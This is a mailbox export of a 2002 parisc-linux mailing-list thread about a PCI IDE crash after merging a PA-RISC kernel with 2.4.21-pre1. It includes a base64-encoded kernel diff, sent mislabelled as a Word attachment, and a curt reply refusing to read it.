References: <3DED9BF500001EC5@ocpmta8.freegates.net>
	<1040061866.13786.74.camel@irongate.swansea.linux.org.uk> 
	<20021216172906.B9994@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622028 18724 80.91.229.3 (22 Nov 2014 02:07:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:08 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 10:40:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B270482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 10:40:45 -0700 (MST)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id gBGIKFlQ014584;
	Mon, 16 Dec 2002 18:20:16 GMT
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id gBGIKEwX014582;
	Mon, 16 Dec 2002 18:20:14 GMT
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20021216172906.B9994@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17121

On Mon, 2002-12-16 at 17:29, Matthew Wilcox wrote:
> You mean the "IDE but no disks" patch:
> http://www.uwsg.iu.edu/hypermail/linux/kernel/0212.2/0105.html ?
> If so, that might be relevant, but have davem's concerns about this IDE
> code being broken on big-endian machines been addressed?

Platform dependant.

The pre1 code fails if:
	You use the mmio ops not the pio ops on a big endian box (except PPC)
	Your pci_resource_foo() returns a value with the top 32bit used

Both of those are fixed in Marcelo's tree, although platforms may need
to define some functions. Dave has the updated code running on sparc64



From - Thu Nov 08 21:25:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 18:48:13 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <3DED9BF500001ED8@ocpmta8.freegates.net>
References: <1040061866.13786.74.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622029 18727 80.91.229.3 (22 Nov 2014 02:07:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 10:53:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 795374889
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 10:53:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18NzMD-0003sM-00; Mon, 16 Dec 2002 18:48:45 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 16 Dec 2002 17:48:13 +0000
In-Reply-To: <1040061866.13786.74.camel@irongate.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17122

>
>On Mon, 2002-12-16 at 17:06, jsoe0708@tiscali.be wrote:
>> Hi Alan,
>> 
>> Worried about ext3 pb, I try to merge parisc kernel 2.4.20-pa14 with
2.4.21-pre1.
>> This merge seems to works fine on a b180l+ (without pci devices).
>> But still boot twice (??) and crash on a b2k with an ide cdrom.
>
>I've sent the PCI fixup patch to linux-kernel. Depending upon how the
>PA-RISC system interfaces to the IDE controller you may also need
>platform specific fixups or to drop the chip into Native mode.
>
>Someone at HP can probably answer that bit
>
Thanks Alan,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 18:59:03 +0100
Lines: 149
Approved: news@gmane.org
Message-ID: <3DED9BF500001EE1@ocpmta8.freegates.net>
References: <1040062813.13837.79.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DED9BF500001EE1/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622029 18730 80.91.229.3 (22 Nov 2014 02:07:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 10:59:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85FFD4889
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 10:59:40 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18NzWL-00071I-00; Mon, 16 Dec 2002 18:59:13 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 16 Dec 2002 17:59:03 +0000
In-Reply-To: <1040062813.13837.79.camel@irongate.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17123

--=========3DED9BF500001EE1/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable


>On Mon, 2002-12-16 at 17:29, Matthew Wilcox wrote:
>> You mean the "IDE but no disks" patch:
>> http://www.uwsg.iu.edu/hypermail/linux/kernel/0212.2/0105.html ?
>> If so, that might be relevant, but have davem's concerns about this ID=
E
>> code being broken on big-endian machines been addressed?
>
>Platform dependant.
>
>The pre1 code fails if:
>	You use the mmio ops not the pio ops on a big endian box (except PPC)
>	Your pci_resource_foo() returns a value with the top 32bit used
>
>Both of those are fixed in Marcelo's tree, although platforms may need
>to define some functions. Dave has the updated code running on sparc64
>
I do well have to define new function in system.h system_irqsave.h as per=

attached doc (please consider revert) and based on mips implementation.
Is it what you spoke about?

Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be




--=========3DED9BF500001EE1/mail.tiscali.be
Content-Type: application/msword
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="add_function.diff.doc"

ZGlmZiAtTmF1cndiQlggL0RldmVsb3AvS2VybmVsLUxpbnV4L2RvbnRkaWZmIGxpbnV4LTIuNC4y
MS1wcmUxLXBhMTQtYWxwaGEvaW5jbHVkZS9hc20tcGFyaXNjL2lkZS5oIGxpbnV4LTIuNC4yMS1w
cmUxLXBhMTQtYmV0YS9pbmNsdWRlL2FzbS1wYXJpc2MvaWRlLmgKLS0tIGxpbnV4LTIuNC4yMS1w
cmUxLXBhMTQtYWxwaGEvaW5jbHVkZS9hc20tcGFyaXNjL2lkZS5oCTIwMDItMTItMTMgMTQ6MDA6
MDkuMDAwMDAwMDAwICswMTAwCisrKyBsaW51eC0yLjQuMjEtcHJlMS1wYTE0LWJldGEvaW5jbHVk
ZS9hc20tcGFyaXNjL2lkZS5oCTIwMDItMTItMTUgMTU6MzQ6MDEuMDAwMDAwMDAwICswMTAwCkBA
IC0yMCw2ICsyMCw4IEBACiAjZGVmaW5lIE1BWF9IV0lGUwkyCiAjZW5kaWYKIAorI2RlZmluZSBp
ZGVfX3N0aSgpICAgICAgX19zdGkoKQorCiBzdGF0aWMgX19pbmxpbmVfXyBpbnQgaWRlX2RlZmF1
bHRfaXJxKGlkZV9pb3JlZ190IGJhc2UpCiB7CiAJc3dpdGNoIChiYXNlKSB7CkBAIC03OCwxMyAr
ODAsMTE2IEBACiAjZW5kaWYgLyogQ09ORklHX0JMS19ERVZfSURFUENJICovCiB9CiAKLS8qCit0
eXBlZGVmIHVuaW9uIHsKKwl1bnNpZ25lZCBhbGwJCQk6IDg7CS8qIGFsbCBvZiB0aGUgYml0cyB0
b2dldGhlciAqLworCXN0cnVjdCB7CisJCXVuc2lnbmVkIGJpdDcJCTogMTsJLyogYWx3YXlzIDEg
Ki8KKwkJdW5zaWduZWQgbGJhCQk6IDE7CS8qIHVzaW5nIExCQSBpbnN0ZWFkIG9mIENIUyAqLwor
CQl1bnNpZ25lZCBiaXQ1CQk6IDE7CS8qIGFsd2F5cyAxICovCisJCXVuc2lnbmVkIHVuaXQJCTog
MTsJLyogZHJpdmUgc2VsZWN0IG51bWJlciwgMCBvciAxICovCisJCXVuc2lnbmVkIGhlYWQJCTog
NDsJLyogYWx3YXlzIHplcm9zIGhlcmUgKi8KKwl9IGI7Cit9IHNlbGVjdF90OworCit0eXBlZGVm
IHVuaW9uIHsKKwl1bnNpZ25lZCBhbGwJCQk6IDg7CS8qIGFsbCBvZiB0aGUgYml0cyB0b2dldGhl
ciAqLworCXN0cnVjdCB7CisJCXVuc2lnbmVkIGJpdDAJCTogMTsKKwkJdW5zaWduZWQgbklFTgkJ
OiAxOwkvKiBkZXZpY2UgSU5UUlEgdG8gaG9zdCAqLworCQl1bnNpZ25lZCBTUlNUCQk6IDE7CS8q
IGhvc3Qgc29mdCByZXNldCBiaXQgKi8KKwkJdW5zaWduZWQgYml0MwkJOiAxOwkvKiBBVEEtMiB0
aGluZ3kgKi8KKwkJdW5zaWduZWQgcmVzZXJ2ZWQ0NTYJOiAzOworCQl1bnNpZ25lZCBIT0IJCTog
MTsJLyogNDgtYml0IGFkZHJlc3Mgb3JkZXJpbmcgKi8KKwl9IGI7Cit9IGNvbnRyb2xfdDsKKwog
I2RlZmluZSBpZGVfcmVxdWVzdF9pcnEoaXJxLGhhbmQsZmxnLGRldixpZCkJcmVxdWVzdF9pcnEo
KGlycSksKGhhbmQpLChmbGcpLChkZXYpLChpZCkpCiAjZGVmaW5lIGlkZV9mcmVlX2lycShpcnEs
ZGV2X2lkKQkJZnJlZV9pcnEoKGlycSksIChkZXZfaWQpKQogI2RlZmluZSBpZGVfY2hlY2tfcmVn
aW9uKGZyb20sZXh0ZW50KQkJY2hlY2tfcmVnaW9uKChmcm9tKSwgKGV4dGVudCkpCiAjZGVmaW5l
IGlkZV9yZXF1ZXN0X3JlZ2lvbihmcm9tLGV4dGVudCxuYW1lKQlyZXF1ZXN0X3JlZ2lvbigoZnJv
bSksIChleHRlbnQpLCAobmFtZSkpCiAjZGVmaW5lIGlkZV9yZWxlYXNlX3JlZ2lvbihmcm9tLGV4
dGVudCkJCXJlbGVhc2VfcmVnaW9uKChmcm9tKSwgKGV4dGVudCkpCisKKyNkZWZpbmUgVF9DSEFS
ICAgICAgICAgICgweDAwMDApICAgICAgICAvKiBjaGFyOiAgZG9uJ3QgdG91Y2ggICovCisjZGVm
aW5lIFRfU0hPUlQgICAgICAgICAoMHg0MDAwKSAgICAgICAgLyogc2hvcnQ6IDEyIC0+IDIxICAg
ICAqLworI2RlZmluZSBUX0lOVCAgICAgICAgICAgKDB4ODAwMCkgICAgICAgIC8qIGludDogICAx
MjM0IC0+IDQzMjEgKi8KKyNkZWZpbmUgVF9URVhUICAgICAgICAgICgweGMwMDApICAgICAgICAv
KiB0ZXh0OiAgMTIgLT4gMjEgICAgICovCisKKyNkZWZpbmUgVF9NQVNLX1RZUEUgICAgICgweGMw
MDApCisjZGVmaW5lIFRfTUFTS19DT1VOVCAgICAoMHgzZmZmKQorCisjZGVmaW5lIERfQ0hBUihj
bnQpICAgICAoVF9DSEFSICB8IChjbnQpKQorI2RlZmluZSBEX1NIT1JUKGNudCkgICAgKFRfU0hP
UlQgfCAoY250KSkKKyNkZWZpbmUgRF9JTlQoY250KSAgICAgIChUX0lOVCAgIHwgKGNudCkpCisj
ZGVmaW5lIERfVEVYVChjbnQpICAgICAoVF9URVhUICB8IChjbnQpKQorCitzdGF0aWMgdV9zaG9y
dCBkcml2ZWlkX3R5cGVzW10gPSB7CisJRF9TSE9SVCgxMCksCS8qIGNvbmZpZyAtIHZlbmRvcjIg
Ki8KKwlEX1RFWFQoMjApLAkvKiBzZXJpYWxfbm8gKi8KKwlEX1NIT1JUKDMpLAkvKiBidWZfdHlw
ZSAtIGVjY19ieXRlcyAqLworCURfVEVYVCg0OCksCS8qIGZ3X3JldiAtIG1vZGVsICovCisJRF9D
SEFSKDIpLAkvKiBtYXhfbXVsdHNlY3QgLSB2ZW5kb3IzICovCisJRF9TSE9SVCgxKSwJLyogZHdv
cmRfaW8gKi8KKwlEX0NIQVIoMiksCS8qIHZlbmRvcjQgLSBjYXBhYmlsaXR5ICovCisJRF9TSE9S
VCgxKSwJLyogcmVzZXJ2ZWQ1MCAqLworCURfQ0hBUig0KSwJLyogdmVuZG9yNSAtIHRETUEgKi8K
KwlEX1NIT1JUKDQpLAkvKiBmaWVsZF92YWxpZCAtIGN1cl9zZWN0b3JzICovCisJRF9JTlQoMSks
CS8qIGN1cl9jYXBhY2l0eSAqLworCURfQ0hBUigyKSwJLyogbXVsdHNlY3QgLSBtdWx0c2VjdF92
YWxpZCAqLworCURfSU5UKDEpLAkvKiBsYmFfY2FwYWNpdHkgKi8KKwlEX1NIT1JUKDE5NCkJLyog
ZG1hXzF3b3JkIC0gcmVzZXJ2ZWR5eSAqLworfTsKKworI2RlZmluZSBudW1fZHJpdmVpZF90eXBl
cyAgICAgICAoc2l6ZW9mKGRyaXZlaWRfdHlwZXMpL3NpemVvZigqZHJpdmVpZF90eXBlcykpCisK
K3N0YXRpYyBfX2lubGluZV9fIHZvaWQgaWRlX2ZpeF9kcml2ZWlkKHN0cnVjdCBoZF9kcml2ZWlk
ICppZCkKK3sKKwl1X2NoYXIgKnAgPSAodV9jaGFyICopaWQ7CisJaW50IGksIGosIGNudDsKKwl1
X2NoYXIgdDsKKworCWZvciAoaSA9IDA7IGkgPCBudW1fZHJpdmVpZF90eXBlczsgaSsrKSB7CisJ
CWNudCA9IGRyaXZlaWRfdHlwZXNbaV0gJiBUX01BU0tfQ09VTlQ7CisJCXN3aXRjaCAoZHJpdmVp
ZF90eXBlc1tpXSAmIFRfTUFTS19UWVBFKSB7CisJCWNhc2UgVF9DSEFSOgorCQkJcCAr
PSBjbnQ7CisJCQlicmVhazsKKwkJY2FzZSBUX1NIT1JUOgorCQkJZm9yIChqID0gMDsgaiA8IGNu
dDsgaisrKSB7CisJCQkJdCA9IHBbMF07CisJCQkJcFswXSA9IHBbMV07CisJCQkJcFsxXSA9IHQ7
CisJCQkJcCArPSAyOworCQkJfQorCQkJYnJlYWs7CisJCWNhc2UgVF9JTlQ6CisJCQlmb3IgKGog
PSAwOyBqIDwgY250OyBqKyspIHsKKwkJCQl0ID0gcFswXTsKKwkJCQlwWzBdID0gcFszXTsKKwkJ
CQlwWzNdID0gdDsKKwkJCQl0ID0gcFsxXTsKKwkJCQlwWzFdID0gcFsyXTsKKwkJCQlwWzJdID0g
dDsKKwkJCQlwICs9IDQ7CisJCQl9CisJCQlicmVhazsKKwkJY2FzZSBUX1RFWFQ6CisJCQlmb3Ig
KGogPSAwOyBqIDwgY250OyBqICs9IDIpIHsKKwkJCQl0ID0gcFswXTsKKwkJCQlwWzBdID0gcFsx
XTsKKwkJCQlwWzFdID0gdDsKKwkJCQlwICs9IDI7CisJCQl9CisJCQlicmVhazsKKwkJfTsKKwl9
Cit9CisKKy8qCisgKiBUaGUgZm9sbG93aW5nIGFyZSBub3QgbmVlZGVkIGZvciB0aGUgbm9uLW02
OGsgcG9ydHMKICAqLworI2RlZmluZSBpZGVfYWNrX2ludHIoaHdpZikJCSgxKQorI2RlZmluZSBp
ZGVfcmVsZWFzZV9sb2NrKGxvY2spCQlkbyB7fSB3aGlsZSAoMCkKKyNkZWZpbmUgaWRlX2dldF9s
b2NrKGxvY2ssIGhkbHIsIGRhdGEpCWRvIHt9IHdoaWxlICgwKQogCiAjZW5kaWYgLyogX19LRVJO
RUxfXyAqLwogCmRpZmYgLU5hdXJ3YkJYIC9EZXZlbG9wL0tlcm5lbC1MaW51eC9kb250ZGlmZiBs
aW51eC0yLjQuMjEtcHJlMS1wYTE0LWFscGhhL2luY2x1ZGUvYXNtLXBhcmlzYy9zeXN0ZW0uaCBs
aW51eC0yLjQuMjEtcHJlMS1wYTE0LWJldGEvaW5jbHVkZS9hc20tcGFyaXNjL3N5c3RlbS5oCi0t
LSBsaW51eC0yLjQuMjEtcHJlMS1wYTE0LWFscGhhL2luY2x1ZGUvYXNtLXBhcmlzYy9zeXN0ZW0u
aAkyMDAyLTEyLTEzIDEzOjU4OjM2LjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjIxLXBy
ZTEtcGExNC1iZXRhL2luY2x1ZGUvYXNtLXBhcmlzYy9zeXN0ZW0uaAkyMDAyLTEyLTE1IDE1OjM0
OjAxLjAwMDAwMDAwMCArMDEwMApAQCAtNjYsOCArNjYsNiBAQAogI2RlZmluZSBzdGkoKSBfX2ds
b2JhbF9zdGkoKQogI2RlZmluZSBzYXZlX2ZsYWdzKHgpICgoeCk9X19nbG9iYWxfc2F2ZV9mbGFn
cygpKQogI2RlZmluZSByZXN0b3JlX2ZsYWdzKHgpIF9fZ2xvYmFsX3Jlc3RvcmVfZmxhZ3MoeCkK
LSNkZWZpbmUgc2F2ZV9hbmRfY2xpKHgpIGRvIHsgc2F2ZV9mbGFncyh4KTsgY2xpKCk7IH0gd2hp
bGUoMCk7Ci0jZGVmaW5lIHNhdmVfYW5kX3N0aSh4KSBkbyB7IHNhdmVfZmxhZ3MoeCk7IHN0aSgp
OyB9IHdoaWxlKDApOwogCiAjZWxzZQogCkBAIC03NSw4ICs3Myw2IEBACiAjZGVmaW5lIHN0aSgp
IF9fc3RpKCkKICNkZWZpbmUgc2F2ZV9mbGFncyh4KSBfX3NhdmVfZmxhZ3MoeCkKICNkZWZpbmUg
cmVzdG9yZV9mbGFncyh4KSBfX3Jlc3RvcmVfZmxhZ3MoeCkKLSNkZWZpbmUgc2F2ZV9hbmRfY2xp
KHgpIF9fc2F2ZV9hbmRfY2xpKHgpCi0jZGVmaW5lIHNhdmVfYW5kX3N0aSh4KSBfX3NhdmVfYW5k
X3N0aSh4KQogCiAjZW5kaWYKIApkaWZmIC1OYXVyd2JCWCAvRGV2ZWxvcC9LZXJuZWwtTGludXgv
ZG9udGRpZmYgbGludXgtMi40LjIxLXByZTEtcGExNC1hbHBoYS9pbmNsdWRlL2FzbS1wYXJpc2Mv
c3lzdGVtX2lycXNhdmUuaCBsaW51eC0yLjQuMjEtcHJlMS1wYTE0LWJldGEvaW5jbHVkZS9hc20t
cGFyaXNjL3N5c3RlbV9pcnFzYXZlLmgKLS0tIGxpbnV4LTIuNC4yMS1wcmUxLXBhMTQtYWxwaGEv
aW5jbHVkZS9hc20tcGFyaXNjL3N5c3RlbV9pcnFzYXZlLmgJMjAwMi0xMi0xMiAxNjoxMjowMi4w
MDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yMS1wcmUxLXBhMTQtYmV0YS9pbmNsdWRlL2Fz
bS1wYXJpc2Mvc3lzdGVtX2lycXNhdmUuaAkyMDAyLTEyLTE1IDE1OjM0OjAxLjAwMDAwMDAwMCAr
MDEwMApAQCAtNywyMSArNywxMCBAQAogI2RlZmluZSBfX2NsaSgpCV9fYXNtX18gX192b2xhdGls
ZV9fKCJyc20gJTAsJSVyMFxuIiA6IDogImkiIChQU1dfSSkgOiAibWVtb3J5IiApCiAjZGVmaW5l
IF9fc3RpKCkJX19hc21fXyBfX3ZvbGF0aWxlX18oInNzbSAlMCwlJXIwXG4iIDogOiAiaSIgKFBT
V19JKSA6ICJtZW1vcnkiICkKIAotI2RlZmluZSBfX3NhdmVfYW5kX2NsaSh4KSAgZG8geyBfX3Nh
dmVfZmxhZ3MoeCk7IF9fY2xpKCk7IH0gd2hpbGUoMCk7Ci0jZGVmaW5lIF9fc2F2ZV9hbmRfc3Rp
KHgpICBkbyB7IF9fc2F2ZV9mbGFncyh4KTsgX19zdGkoKTsgfSB3aGlsZSgwKTsKLQotLyogRm9y
IHNwaW5sb2NrcyBldGMgKi8KLSNpZiAwCiAjZGVmaW5lIGxvY2FsX2lycV9zYXZlKHgpIFwKIAlf
X2FzbV9fIF9fdm9sYXRpbGVfXygicnNtICUxLCUwIiA6ICI9ciIgKHgpIDoiaSIgKFBTV19JKSA6
ICJtZW1vcnkiICkKLSNkZWZpbmUgbG9jYWxfaXJxX3NldCh4KSBcCi0jICAgICAgICJXYXJuaW5n
IGxvY2FsX2lycV9zZXQoeCkgaXMgbm90IHlldCBkZWZpbmVkIgotI2Vsc2UKLSNkZWZpbmUgbG9j
YWxfaXJxX3NhdmUoeCkgIF9fc2F2ZV9hbmRfY2xpKHgpCi0jZGVmaW5lIGxvY2FsX2lycV9zZXQo
eCkgICBfX3NhdmVfYW5kX3N0aSh4KQotI2VuZGlmCi0KLSNkZWZpbmUgbG9jYWxfaXJxX3Jlc3Rv
cmUoeCkgX19yZXN0b3JlX2ZsYWdzKHgpCisjZGVmaW5lIGxvY2FsX2lycV9yZXN0b3JlKHgpIFwK
KwlfX2FzbV9fIF9fdm9sYXRpbGVfXygibXRzbSAlMCIgOiA6ICJyIiAoeCkgOiAibWVtb3J5IiAp
CiAjZGVmaW5lIGxvY2FsX2lycV9kaXNhYmxlKCkgX19jbGkoKQogI2RlZmluZSBsb2NhbF9pcnFf
ZW5hYmxlKCkgIF9fc3RpKCkKIAo=

--=========3DED9BF500001EE1/mail.tiscali.be--


From - Thu Nov 08 21:25:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 18:01:03 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <20021216180103.C9994@parcelfarce.linux.theplanet.co.uk>
References: <1040062813.13837.79.camel@irongate.swansea.linux.org.uk> <3DED9BF500001EE1@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622029 18734 80.91.229.3 (22 Nov 2014 02:07:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:09 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 11:01:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 300404889
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 11:01:09 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18NzY7-0005uS-00; Mon, 16 Dec 2002 18:01:03 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DED9BF500001EE1@ocpmta8.freegates.net>; from jsoe0708@tiscali.be on Mon, Dec 16, 2002 at 06:59:03PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17124

why are you sending word documents?  i'm not reading that shit.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 19:13:53 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <3DED9BF500001EEE@ocpmta8.freegates.net>
References: <20021216180103.C9994@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622030 18735 80.91.229.3 (22 Nov 2014 02:07:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:10 +0000 (UTC)
Cc: "Alan Cox" <alan@lxorguk.ukuu.org.uk>,
	"Matthew Wilcox" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
